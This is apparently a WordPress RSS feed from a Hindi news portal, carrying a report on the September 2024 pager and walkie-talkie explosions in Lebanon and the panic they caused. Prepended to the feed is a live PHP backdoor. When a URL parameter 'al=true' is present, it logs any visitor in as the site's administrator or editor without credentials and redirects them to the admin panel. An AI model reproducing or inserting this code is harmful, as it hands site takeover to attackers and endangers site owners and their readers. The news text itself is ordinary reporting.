// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); pager-Walkie talkie explosion – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 19 Sep 2024 11:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सब अपने फोन बंद कर लो! पेजर फिर वॉकी-टॉकी और अब होम सोलर सिस्टम में विस्फोट से गूंजा लेबनान, दहशत https://pratyushaashakinayikiran.com/?p=72441 Thu, 19 Sep 2024 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=72441 बेरुत

इजरायल की सेना और उसकी खुफिया एजेंसी मोसाद के कारनामे हमेशा दुश्मन और पूरी दुनिया को ही चौंकाने वाले रहे हैं। बीते एक साल से हमास से चल रहे युद्ध में जब लेबनान में सक्रिय उग्रवादी संगठन हिजबुल्लाह कूदा तो लगा था कि इजरायल दो मोर्चों पर अब घिर रहा है। लेकिन इजरायल ने जिस तरह से हाइब्रिड वारफेयर का सहारा लेते हुए हिजबुल्लाह पर वार किया है, वह चौंकाने वाला है। मंगलवार की दोपहर को लेबनान में करीब 3 हजार पेजर एक साथ फट गए थे। इन धमाकों में 9 लोगों की मौत हो गई और 1900 के करीब लोग घायल हुए थे।

यही नहीं बुधवार को वॉकी-टॉकी में विस्फोट हुए, जिनमें 14 लोगों की मौत हो गई। इन मृतकों में ज्यादातर हिजबुल्लाह के लड़ाके ही शामिल हैं। इजरायल के इन हमलों से लेबनान में दहशत का माहौल है। यहां तक कि लोग मोबाइल फोन छूने से भी डर रहे हैं। यह वाकया बुधवार का है, जब दो हिजबुल्लाह लड़ाकों को दफनाने के लिए भीड़ जुटी थी। इसी दौरान एक विस्फोट होता है और हल्का धुआं सा उठता है। इससे लोगों में इतनी दहशत फैल जाती है कि सभी लोग इधर-उधर भाग जाते हैं और कहीं न कहीं छिप जाते हैं। इस दौरान लाउडस्पीकर पर मजहबी नारे लग रहे होते हैं, लेकिन विस्फोट के बाद वह भी रुक जाते हैं।

हालात ऐसे हो जाते हैं कि लोग एक-दूसरे की ओर देखते हैं और कहते हैं कि फोन बंद कर लो। फोन की बैटरी निकाल लो! दरअसल इन लोगों को डर लगता है कि कहीं फोन ही न फट जाएं और इजरायल ने इनमें भी न कुछ कर दिया हो। इसी दौरान लाउडस्पीकर से भी अनाउंस किया जाता है कि सभी लोग अपने मोबाइल फोन बंद कर लें और उनकी बैटरी निकाल लें। हर किसी के मन में यही खौफ होता है कि कहीं उनका या उनके पास में खड़े किसी शख्स का फोन ही न फट जाए।

न्यूयॉर्क टाइम्स की रिपोर्ट के अनुसार इसी दौरान एक महिला अपने घर पर किसी और से मोबाइल मांगकर फोन करती है। बच्चों के फोन उठाने पर उनकी खैरियत पूछती है और फिर तुरंत कहती है कि फोन बंद कर दो और उससे दूर सुरक्षित जगह पर बैठें। दरअसल यह खौफ लेबनान में हुए पेजर अटैक के चलते था। अब जब वाकी-टॉकी भी फट रहे हैं तो फिर इसमें और इजाफा ही हुआ होगा। फिलहाल दुनिया भर की एजेंसियां और एक्सपर्ट यह जानने की कोशिश में ही जुटे हैं कि आखिर इजरायल ने कैसे इन धमाकों को अंजाम दिया और वह भी इतनी दूर बैठकर।

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